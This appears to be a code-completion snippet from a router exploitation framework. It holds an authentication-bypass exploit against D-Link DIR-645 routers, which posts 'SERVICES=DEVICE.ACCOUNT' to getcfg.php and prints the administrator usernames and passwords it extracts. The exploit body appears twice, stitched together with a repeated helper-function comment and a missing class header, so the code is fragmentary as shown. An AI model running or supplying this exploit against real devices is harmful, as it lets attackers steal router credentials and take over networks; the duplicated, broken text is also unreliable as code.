# Path: interface/messages.py
# def print_error(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)
# 
# def print_success(*args, **kwargs):
#     print(Color.GREEN + Color.BOLD + "[+]" + Color.ENDC, *args, **kwargs)
# 
# def print_warning(*args, **kwargs):
#     print(Color.YELLOW + Color.BOLD + "[!]" + Color.ENDC, *args, **kwargs)


import core.Exploit
import core.io
import requests
import re
from interface.messages import print_error, print_success, print_warning

    def __init__(self):
        core.Exploit.RextExploit.__init__(self)

    def do_run(self, e):
        url = "http://%s:%s/getcfg.php" % (self.host, self.port)

        payload = {'SERVICES': 'DEVICE.ACCOUNT'}
        headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                   'Accept-Language': 'Accept-Language: en-us,en;q=0.5',
                   'Accept-Encoding': 'gzip, deflate',
                   'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8'
                   }
        try:
            print_warning("Sending exploit")
            response = requests.post(url, headers=headers, data=payload, timeout=60)
            if "<service>DEVICE.ACCOUNT</service>" in response.text:
                usernames = re.findall("<name>(.*)</name>", response.text)
                passwords = re.findall("<password>(.*)</password>", response.text)

                if "==OoXxGgYy==" in passwords:
                    print_error("Exploit failed, router responded with default value ==OoXxGgYy==")
                else:
                    print_success("")
                    for i in range(len(usernames)):
                        print("Username: " + usernames[i])
                        print("Password: " + passwords[i])
            else:
                print_error("Exploit failed")
        except requests.Timeout:

# Path: interface/messages.py
# def print_error(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)
# 
# def print_success(*args, **kwargs):
#     print(Color.GREEN + Color.BOLD + "[+]" + Color.ENDC, *args, **kwargs)
# 
# def print_warning(*args, **kwargs):
#     print(Color.YELLOW + Color.BOLD + "[!]" + Color.ENDC, *args, **kwargs)


# Path: modules/exploits/dlink/dir645_auth_bypass.py
import core.Exploit
import core.io
import requests
import re
from interface.messages import print_error, print_success, print_warning


    def __init__(self):
        core.Exploit.RextExploit.__init__(self)

    def do_run(self, e):
        url = "http://%s:%s/getcfg.php" % (self.host, self.port)

        payload = {'SERVICES': 'DEVICE.ACCOUNT'}
        headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                   'Accept-Language': 'Accept-Language: en-us,en;q=0.5',
                   'Accept-Encoding': 'gzip, deflate',
                   'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8'
                   }
        try:
            print_warning("Sending exploit")
            response = requests.post(url, headers=headers, data=payload, timeout=60)
            if "<service>DEVICE.ACCOUNT</service>" in response.text:
                usernames = re.findall("<name>(.*)</name>", response.text)
                passwords = re.findall("<password>(.*)</password>", response.text)

                if "==OoXxGgYy==" in passwords:
                    print_error("Exploit failed, router responded with default value ==OoXxGgYy==")
                else:
                    print_success("")
                    for i in range(len(usernames)):
                        print("Username: " + usernames[i])
                        print("Password: " + passwords[i])
            else:
                print_error("Exploit failed")
        except requests.Timeout:

            print_error("timeout")